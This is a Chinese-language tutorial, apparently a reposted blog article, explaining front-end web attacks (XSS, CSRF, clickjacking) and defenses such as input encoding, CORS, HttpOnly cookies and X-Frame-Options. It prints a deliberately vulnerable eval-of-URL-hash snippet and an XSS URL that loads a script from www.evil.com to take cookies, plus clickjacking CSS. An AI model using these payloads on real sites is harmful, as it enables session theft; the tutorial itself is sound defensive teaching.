站點的安全防範都是後端的職責?非也,Web前端安全一樣不可忽視

前言

隨着網絡的快速普及,網絡安全問題的受害者再也不只是政府、企業等集體,每個接觸網絡的普通人都有可能成爲網絡攻擊的受害者。隨着網絡的普及,黑客進行網絡攻擊的手段越來也多,愈來愈複雜。以網站的攻擊爲例,據國家計算機網絡應急技術處理協調中心的統計,一年中五個政府網站裏就會有一個被入侵,並且入侵的數量每一年都在以兩倍多的速度增長。網絡攻擊的數量增長,除了攻擊者的數量和攻擊水平的增長以外,不少網絡服務器端防禦水平低也滋長了網絡的攻擊。最近幾年,不少網站的安全漏洞形成了用戶我的信息的泄露,不少普通用戶受到了經濟上的損失。在國內著名的漏洞報告平臺-烏雲網 上,會持續報告不少的網絡漏洞。從網站上公開的漏洞報告能夠看出,即便是大的、有科技實力的網絡服務商,在其提供的網絡產品中也常常會存在致命的漏洞。可見國內的網絡安全問題很突出。黑客攻擊網站的主要手段有SQL注入、網絡釣魚、跨站攻擊、拒絕服務攻擊等。固然,網站的維護者也有不少防範的手段,好比構建強大的防火牆等。只是,只有網站自己具備高安全性,才能更好地抵擋各類複雜的攻擊,而這就要求網站的開發者在開發網站時遵循必定的安全規範了。javascript

從網站的先後端的角度來講,後端是安全防範的重中之重,網站的後端承載着網站中的重要信息,好比用戶帳號、密碼信息、信用卡等,以及其餘重要信息。這些信息是攻擊者最但願獲得的信息。可是因爲前端業務邏輯愈來愈多,愈來愈複雜,針對前端的惡意攻擊也愈來愈多了。前端的HTML、JavaScript、CSS、Flash等技術變成了前端攻擊者和開發者的戰場,網站安全問題也開始向前端傾斜。css

常見的Web前端攻擊方式

要搞清楚如何防範Web前端攻擊,首先要了解常見的Web前端攻擊手段或方法。目前,攻擊網站前端的主要方式有以下幾種:html

1. XSS

XSS是Cross Site Scripting的縮寫,即跨站點腳本攻擊。XSS發生在用戶的瀏覽器端,即當用戶在加載HTML文檔時執行了非預期的惡意腳本。這些惡意的腳本通常來自於第三方域,帶有必定的危害性,惡意腳本的執行會致使用戶敏感數據的泄露或者誘導用戶錯誤操做。瀏覽器的同源策略並無限制頁面中加載第三方的腳本,因此給了攻擊者一些可乘之機。一個典型的案例是這樣的,攻擊者發現到網站中有注入腳本的漏洞,好比沒有針對用戶輸入的內容做驗證或轉義,而是直接在頁面上顯示了輸入的內容,因而他們惡意輸入一段有攻擊性的腳本,使其在頁面上執行。這些惡意腳本會修改頁面的內容,並誘導用戶操做已經被修改過的頁面,從而盜取用戶的Cookie信息。以下的代碼演示了一個典型的XSS攻擊。
若是網站的前端代碼中有以下的代碼段:前端

<script>
    eval(location.hash.substr(1));
</script>

攻擊者發現頁面上有這樣的代碼,則能夠構建以下的URL:java

http://host/test.html#document.write("<script/src=//www.evil.com/evil.js></script>」)

以這樣的方式,攻擊者在目標網站上就注入了一個外部的JavaScript文件,若是攻擊者在這個外部文件中編寫惡意的代碼,好比取得Cookie信息等,就可控制用戶在被攻擊網站上的帳號權限了。jquery

總結XSS攻擊的特色就是:盡一切辦法在目標網站上執行非目標網站上原有的腳本。git

2. CSRF

CSRF是Cross Site Request Forgery,翻譯爲跨站請求僞造。CSRF的概念很容易和XSS混淆。CSRF和XSS攻擊都是發起各類請求,但對CSRF來講,請求是來源於其餘網站的,即爲跨站的請求。而且這個請求並非來自於用戶的意願,而是僞造的請求,誘導用戶發起的請求。以下是一個CSRF攻擊的典型過程。github

假設網站a有個頁面是經過GET請求來刪除數據的,使用的URL以下:web

http://www.a.com/del?id=21

攻擊者就能夠利用這一點,構建一個頁面並建立一個指向此連接的iframe、img或者script等標籤。至關於僞造了一個GET請求。數據庫

此後,攻擊者把新構建頁面的地址發佈出去,添加一些吸引眼球的消息,誘騙目標用戶打開此頁面。用戶打開此頁面就至關於間接地完成了刪除數據的操做。

能夠看到這個CSRF攻擊的過程明顯不一樣於XSS攻擊,這個攻擊能夠沒有任何的JavaScript參與。固然,若是想要利用JavaScript腳本代碼也是能夠的,好比利用JavaScript代碼來動態構建form表單,併發起一個針對目標網站的POST請求,從而達到攻擊目標網站的目的。

3. 界面操做劫持

界面操做劫持是最近幾年才興起的Web前端攻擊方式,Twitter、Facebook等大型網站都受到過此類的攻擊。從用戶操做行爲上能夠把界面操做劫持分爲點擊劫持和拖放劫持兩種,這兩種劫持的形式從字面上很好理解,分別是在用戶點擊和拖動操做時發生的劫持攻擊事件。

界面操做劫持是利用視覺欺騙,誘導用戶操做。好比在可見的輸入框中覆蓋一個不可見的框(如一個不可見的iframe),用戶點擊輸入框時,實際上是點擊了不可見框中的內容,從而讓用戶作出了一些非本身意願的操做。這些操做有可能形成了用戶敏感信息的泄露、數據丟失等後果。

使用前端技術很容易實現一個不可見且浮在最上層的iframe窗口,以下的樣式代碼展現了其具體的實現:

filter:alpha(opacity=0);
opacity:0;
z-index: 100;

上述代碼設置了窗口的透明度爲0,即窗口徹底透明,假設頁面中全部的元素設置的z-index樣式都比100小,則z-index爲100的iframe窗口就會浮到頁面的最上層,意味着頁面上的鼠標操做首先會操做到iframe窗口裏面的內容,儘管操做者覺得操做的是iframe窗口覆蓋的區域,即實現了視覺上的欺騙。因此界面操做劫持並非具備高技術含量的攻擊方式,通常經過設計足夠吸引用戶操做的頁面就能夠了。

以上就是目前常見的三種針對前端頁面攻擊的手段,雖然前端頁面成爲了Web攻擊的主要入口之一,但前端開發者針對這些攻擊的防範還遠遠不夠,防範意識也很淡薄。那麼咱們應該如何防範呢?

如何防範Web前端攻擊

1. 不要信任任何外部傳入的數據

防範Web前端攻擊的一個重要的常識是:永遠也不要相信用戶輸入的數據,必定要針對用戶輸入做相關的格式檢查、過濾等操做,防止任何可能的前端注入。以下所列的是在前端開發中應用的具體實踐方法。

不要信任用戶輸入的內容

大部分的網站中都有和用戶輸入交互,或者是經過URL傳遞輸入等功能模塊存在,這些輸入的入口,也給了攻擊者可乘之機,XSS攻擊就是利用這些入口來攻擊網站的。預防攻擊的方式其實並不複雜,只要在全部的這些入口添加必要的輸入校驗和過濾便可。具體來講,就是針對用戶輸入內容進行html編碼、html標籤屬性編碼、JavaScript編碼、CSS編碼、URL編碼。

若是項目中使用了jQuery框架,那麼以上的編碼過濾操做就會變得簡單多了,jQuery內置的DOM操做接口已經針對輸入的內容做了相應的編碼處理,好比,顯示用戶輸入的內容時使用$('...').text(data)而非$('...').html(data)、使用$('...').attr()添加屬性、使用$('...').css()添加樣式等。至於URL編碼,則直接使用原生函數encodeURL

若是指望更靈活地控制輸入內容,則可使用jQuery插件jqencoder。以下是此插件提供的各類編碼接口:

$.encoder.encodeForHTML()
$.encoder.encodeForHTMLAttribute()
$.encoder.encodeForJavaScript()
$.encoder.encodeForCSS()
$.encoder.encodeForURL()

除了必要的數據檢查過濾以外,也應該儘可能避免使用一些有安全隱患的函數調用方式,好比避免使用evalsetIntervalsetTimeout等函數直接運行輸入的內容。

不要信任在任何傳入的第三方數據

在前端開發設計中,常常會加載第三方傳入的數據。但因爲瀏覽器同源策略的限制,JavaScript是不能直接加載第三方域的數據的,不過,有幾種經常使用的技術能夠繞過這樣的限制。其中,傳統的方式是經過使用JSONP ,這項技術利用了瀏覽器能夠加載第三方JavaScript腳本的特性。假設A網站請求B網站的數據,則A會在頁面中經過script標籤請求B網站的一個腳本文件,並在文件的URL中傳入一個回調函數名,B網站收到請求後會把要傳輸的數據和A網站傳入的回調函數組合爲一個函數調用代碼返回給A網站,傳輸的數據則做爲回調函數的參數。A網站引用腳本的方式相似以下:

<script  src="http://server2.example.com/RetrieveUser?UserId=1823&jsonp=parseResponse">
 </script>

上述代碼中parseResponse爲傳入的回調函數名稱,B網站組合後返回的代碼相似以下:

parseResponse({"Name": "Cheeso", "Id" : 1823, "Rank": 7})

以上示例代碼來自於JSONP對應的維基百科頁面。JSONP雖然很巧妙地作到了跨域的數據傳輸,但這種方式也存在安全隱患。正常狀況下第三方網站傳輸給回調函數的數據爲JSON格式,但若是第三方網站受到攻擊,使得其返回的數據包含有惡意代碼,而不是正常的JSON格式數據,那麼執行這些返回的惡意代碼就會致使不可預期的攻擊。因此若是網站中使用了JSONP技術,則必定要檢查從第三方返回的數據格式。驗證方法很簡單,驗證返回數據的屬性名是否爲預期的名稱,驗證屬性值是否在預期的範圍內。數據提供方(第三方)更容易會受到惡意的攻擊,好比經過構造非法的callback函數名來達到XSS攻擊的目的。防範的辦法是過濾callback函數名中的非法字符。同時,也要防止針對數據提供方的大量惡意請求攻擊,即DdoS攻擊 。這種攻擊的手段是利用合理的服務請求來佔用過多的服務資源。解決的辦法是利用白名單或者Cookie Token來做限制。一個更安全的方式是使用新標準HTML5中引入的CORS,這項技術在國內還不多使用,但在國外使用的例子已經有不少了。JSONP技術提供的跨域數據訪問鑽了同源策略的空子,算是技巧性的方案,而CORS則是從規範上專門定義的一項跨域數據訪問的技術。CORS比JSONP更先進和可靠,而且已經獲得了主流瀏覽器的支持。JSONP只能用GET請求,而CORS不受這樣的限制,甚至能夠經過AJAX發起請求。CORS主要的原理是在服務器端設置Access-Control-Allow-Origin頭,從而限定了服務請求的發起端。以下是一個設置的示例:

Access-Control-Allow-Origin: http://www.dang-jian.com

此設置意味着從www.dang-jian.com網站發起的跨域請求會獲得容許。CORS雖然比JSONP更可靠,可是也要遵照一些安全的規範。好比,Access-Control-Allow-Origin頭應該設置在最小的範圍內,儘可能不要設置爲*,即容許全部的跨域請求。數據接收方在接受到數據後,必定要進行必要的數據格式和完整性校驗,並把返回的內容做爲數據而不是代碼,從而避免惡意數據的攻擊。

HTML5規範中也引入了另一個跨域數據傳輸的方案,即便用window.postMessage接口。使用示例以下:

popup.postMessage("這是傳輸的數據",
                  "https://secure.example.net");
而後在目標頁面中添加以下的代碼:
function receiveMessage(event) {
  if (event.origin !== "http://example.org") {
    return
    // event.source 指向popup
    // event.data 的內容是 "這是傳輸的數據"
  }
}

window.addEventListener("message", receiveMessage, false);

當數據源網頁調用postMessage接口發送數據到目標頁面時,目標網頁的message事件被觸發,並在事件對象event上包含了傳輸的數據。使用postMessage時須要注意的地方和使用CORS時的相似,設置數據接受方時不要設置爲*號,應設置爲特定的地址。同時,數據接收方應該檢查數據來源地址並校驗接受的數據。不要經過跨域來傳輸代碼,避免惡意代碼的執行。若是網站不須要接受任何數據,則不要綁定message事件。

以上這幾種防範跨站攻擊的手段最適合用於網站提供對外接口的情形,若是網站不提供對外接口,則防範辦法就不用那麼麻煩了,有一些常規手段可使用。好比每次請求都額外添加先後端都約定好加密token。這樣的插件有不少,也能夠本身實現。若是項目是基於NodeJS和Express,則推薦使用csurf中間件,這個中間件專門用於防範CSRF攻擊,能夠查看其官方網站得到更多信息。

不要僅僅靠JavaScript代碼來阻止注入

若是用戶輸入的數據要保存到後端數據庫中,則僅僅依靠JavaScript代碼來校驗用戶輸入的數據是不夠的。由於JavaScript代碼自己太容易被攻擊者攔截和修改了,用戶甚至能夠不經過頁面而直接和後端鏈接,因此在後端的代碼中也須要進行必要的數據校驗操做,而且檢查校驗的力度比前端要更嚴格。

2. 其餘前端安全防範實踐

更安全地使用Cookie

在不少的網站中,Cookie是用來持久化用戶在網站中的登陸的。因此若是取得了Cookie就能夠劫持用戶在網站上的權限。前端XSS攻擊的其中一個目標就是取得Cookie信息,這也是Cookie泄露的最主要方式。避免這種泄露的最有效方式是設置Cookie爲HttpOnly,即禁止了JavaScript操做Cookie,這樣一來,前端XSS攻擊時就不能經過JavaScript獲取Cookie的信息了。HttpOnly Cookie基本上獲得了全部瀏覽器的支持,因此推薦在項目中使用。在網站中使用JavaScript操做Cookie是一種不安全的作法,因此若是遇到須要經過此方式來傳遞和保存數據的狀況,就應該嘗試使用其餘更安全的代替方案,好比使用HTML5中的LocalStorage。

除了給Cookie設置HttpOnly以外,還有另一個和安全相關的設置,即Secure。設置了Secure的Cookie只能在瀏覽器使用HTTPS請求時被髮送到服務器端。若是Cookie中包含有敏感信息這將很是有用。若是站點使用了SSL,則應該啓用Cookie的Secure設置。

Cookie的另外兩個經常使用的設置是domain(域)和path(路徑),這兩個設置是用來肯定Cookie做用域範圍的。一般狀況下是不須要設置這兩個屬性的,但若是在代碼中設置了這兩個屬性,則應該把範圍設置爲最小值,避免在不相關的路徑或者域中訪問到Cookie。

防止網頁被其餘網站內嵌爲iframe

在上一節介紹前端攻擊手段時,介紹過界面操做劫持攻擊。這種攻擊正是利用了在網頁中內嵌一個透明的iframe來達到欺騙用戶的目的的。因此,爲了不這樣的攻擊,就要讓網頁不可以被其餘網站內嵌。傳統的方式是使用Javascript代碼來阻止網頁被其餘網頁嵌套,首先在頁面中添加以下的樣式:

<style id="antiClickjack">body{display:none !important;}</style>
同時添加相似以下的JavaScript代碼:
<script type="text/javascript">
   if (self === top) {
       var antiClickjack = document.getElementById("antiClickjack");
       antiClickjack.parentNode.removeChild(antiClickjack);
   } else {
       top.location = self.location;
   }
</script>

如上的代碼首先設置了整個頁面不可見,隨後在JavaScript代碼中檢測頁面是否被內嵌。若是沒有被內嵌,則移除設置頁面不可見的樣式,不然把頂層頁面的地址設置爲內嵌頁面的地址,從而阻止了頁面的內嵌。

瀏覽器也支持經過設置X-Frame-Options 響應頭來控制頁面被其餘頁面內嵌。X-Frame-Options有三種設置選項:deny、sameorigin以及allowfrom url。分別表示禁止、容許相同域及特定URL頁面內嵌此頁面。目前只有allowfrom選項存在瀏覽器兼容問題,其餘兩種選項都獲得了大部分瀏覽器的支持。因此從瀏覽器兼容性上來講,腳本的方式是目前用來阻止網頁被內嵌的最佳方式。固然,若是網站僅僅是要禁止被內嵌,則設置X-Frame-Options是最簡單有效的方案。

所謂道高一尺,魔高一丈。安全問題會隨着時間的推移出現新的攻擊方式,因此開發者須要在編寫前端代碼時保持安全意識,不斷增強防範手段。

相關文章
相關標籤/搜索